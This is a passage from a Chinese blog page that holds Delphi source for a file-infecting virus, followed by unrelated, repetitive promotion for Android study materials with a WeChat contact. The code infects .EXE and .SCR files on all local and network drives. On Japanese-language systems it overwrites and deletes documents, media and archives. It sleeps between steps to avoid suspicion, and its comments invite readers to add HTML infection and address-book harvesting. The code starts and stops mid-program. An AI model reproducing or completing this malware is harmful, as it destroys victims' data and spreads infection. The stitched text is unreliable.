// 写入已感染的标记
DstStream.Seek( 0 , 2 );
iID : = $ 44444444 ;
DstStream.Write(iID, 4 );
finally
HdrStream.Free;
end;
finally
SrcStream.Free;
IcoStream.Free;
DstStream.SaveToFile(FileName); // 替换宿主文件
DstStream.Free;
end;
except;
end;
end;
{ 将目标文件写入垃圾码后删除 }
procedure SmashFile(FileName: string );
var
FileHandle: Integer;
i, Size, Mass, Max, Len: Integer;
begin
try
SetFileAttributes(PChar(FileName), 0 ); // 去掉只读属性
FileHandle : = FileOpen(FileName, fmOpenWrite); // 打开文件
try
Size : = GetFileSize(FileHandle, nil); // 文件大小
i : = 0 ;
Randomize;
Max : = Random( 15 ); // 写入垃圾码的随机次数
if Max < 5 then
Max : = 5 ;
Mass : = Size div Max; // 每个间隔块的大小
Len : = Length(Catchword);
while i < Max do
begin
FileSeek(FileHandle, i * Mass, 0 ); // 定位
// 写入垃圾码，将文件彻底破坏掉
FileWrite(FileHandle, Catchword, Len);
Inc(i);
end;
finally
FileClose(FileHandle); // 关闭文件
end;
DeleteFile(PChar(FileName)); // 删除之
except
end;
end;
{ 获得可写的驱动器列表 }
function GetDrives: string ;
var
DiskType: Word;
D: Char;
Str: string ;
i: Integer;
begin
for i : = 0 to 25 do // 遍历26个字母
begin
D : = Chr(i + 65 );
Str : = D + ’ :';
DiskType : = GetDriveType(PChar(Str));
// 得到本地磁盘和网络盘
if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then
Result : = Result + D;
end;
end;
{ 遍历目录，感染和摧毁文件 }
procedure LoopFiles(Path, Mask: string );
var
i, Count: Integer;
Fn, Ext: string ;
SubDir: TStrings;
SearchRec: TSearchRec;
Msg: TMsg;
function IsValidDir(SearchRec: TSearchRec): Integer;
begin
if (SearchRec.Attr <> 16 ) and (SearchRec.Name <> ’ . ’ ) and
(SearchRec.Name <> ’ … ’ ) then
Result : = 0 // 不是目录
else if (SearchRec.Attr = 16 ) and (SearchRec.Name <> ’ . ’ ) and
(SearchRec.Name <> ’ … ’ ) then
Result : = 1 // 不是根目录
else Result : = 2 ; // 是根目录
end;
begin
if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0 ) then
begin
repeat
PeekMessage(Msg, 0 , 0 , 0 , PM_REMOVE); // 调整消息队列，避免引起怀疑
if IsValidDir(SearchRec) = 0 then
begin
Fn : = Path + SearchRec.Name;
Ext : = UpperCase(ExtractFileExt(Fn));
if (Ext = ’ .EXE ’ ) or (Ext = ’ .SCR ’ ) then
begin
InfectOneFile(Fn); // 感染可执行文件
end
else if (Ext = ’ .HTM ’ ) or (Ext = ’ .HTML ’ ) or (Ext = ’ .ASP ’ ) then
begin
// 感染HTML和ASP文件，将Base64编码后的病毒写入
// 感染浏览此网页的所有用户
// 哪位大兄弟愿意完成之？
end
else if Ext = ’ .WAB ’ then // Outlook地址簿文件
begin
// 获取Outlook邮件地址
end
else if Ext = ’ .ADC ’ then // Foxmail地址自动完成文件
begin
// 获取Foxmail邮件地址
end
else if Ext = ’ IND ’ then // Foxmail地址簿文件
begin
// 获取Foxmail邮件地址
end
else
begin
if IsJap then // 是倭文操作系统
begin
if (Ext = ’ .DOC ’ ) or (Ext = ’ .XLS ’ ) or (Ext = ’ .MDB ’ ) or
(Ext = ’ .MP3 ’ ) or (Ext = ’ .RM ’ ) or (Ext = ’ .RA ’ ) or
(Ext = ’ .WMA ’ ) or (Ext = ’ .ZIP ’ ) or (Ext = ’ .RAR ’ ) or
(Ext = ’ .MPEG ’ ) or (Ext = ’ .ASF ’ ) or (Ext = ’ .JPG ’ ) or
(Ext = ’ .JPEG ’ ) or (Ext = ’ .GIF ’ ) or (Ext = ’ .SWF ’ ) or
(Ext = ’ .PDF ’ ) or (Ext = ’ .CHM ’ ) or (Ext = ’ .AVI ’ ) then
SmashFile(Fn); // 摧毁文件
end;
end;
end;
// 感染或删除一个文件后睡眠200毫秒，避免CPU占用率过高引起怀疑
Sleep( 200 );
until (FindNext(SearchRec) <> 0 );
end;
FindClose(SearchRec);
SubDir : = TStringList.Create;
if (FindFirst(Path + ’ . ’ , faDirectory, SearchRec) = 0 ) then
begin
repeat
if IsValidDir(SearchRec) = 1 then
SubDir.Add(SearchRec.Name);
until (FindNext(SearchRec) <> 0 );
end;
FindClose(SearchRec);
Count : = SubDir.Count - 1 ;
for i : = 0 to Count do
LoopFiles(Path + SubDir.Strings + ’ ', Mask);
FreeAndNil(SubDir);
end;
{ 遍历磁盘上所有的文件 }
procedure InfectFiles;
自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。
深知大多数Android工程师，想要提升技能，往往是自己摸索成长或者是报班学习，但对于培训机构动则几千的学费，着实压力不小。自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！
因此收集整理了一份《2024年Android移动开发全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友，同时减轻大家的负担。
既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上Android开发知识点，真正体系化！
由于文件比较大，这里只是将部分目录大纲截图出来，每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频，并且后续会持续更新
如果你觉得这些内容对你有帮助，可以添加V获取：vip204888 （备注Android）
最后
为了方便有学习需要的朋友，我把资料都整理成了视频教程（实际上比预期多花了不少精力）
当程序员容易，当一个优秀的程序员是需要不断学习的，从初级程序员到高级程序员，从初级架构师到资深架构师，或者走向管理，从技术经理到技术总监，每个阶段都需要掌握不同的能力。早早确定自己的职业方向，才能在工作和能力提升中甩开同龄人。
- 无论你现在水平怎么样一定要 持续学习 没有鸡汤，别人看起来的毫不费力，其实费了很大力，这四个字就是我的建议！！
- 我希望每一个努力生活的IT工程师，都会得到自己想要的，因为我们很辛苦，我们应得的。
当程序员容易，当一个优秀的程序员是需要不断学习的，从初级程序员到高级程序员，从初级架构师到资深架构师，或者走向管理，从技术经理到技术总监，每个阶段都需要掌握不同的能力。早早确定自己的职业方向，才能在工作和能力提升中甩开同龄人。
无论你现在水平怎么样一定要 持续学习 没有鸡汤，别人看起来的毫不费力，其实费了很大力，没有人能随随便便成功。
加油，共勉。
一个人可以走的很快，但一群人才能走的更远。如果你从事以下工作或对以下感兴趣，欢迎戳这里加入程序员的圈子，让我们一起学习成长！
AI人工智能、Android移动开发、AIGC大模型、C C#、Go语言、Java、Linux运维、云计算、MySQL、PMP、网络安全、Python爬虫、UE5、UI设计、Unity3D、Web前端开发、产品经理、车载开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算
+项目实战源码》]( )收录**
一个人可以走的很快，但一群人才能走的更远。如果你从事以下工作或对以下感兴趣，欢迎戳这里加入程序员的圈子，让我们一起学习成长！
AI人工智能、Android移动开发、AIGC大模型、C C#、Go语言、Java、Linux运维、云计算、MySQL、PMP、网络安全、Python爬虫、UE5、UI设计、Unity3D、Web前端开发、产品经理、车载开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算
1万+
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
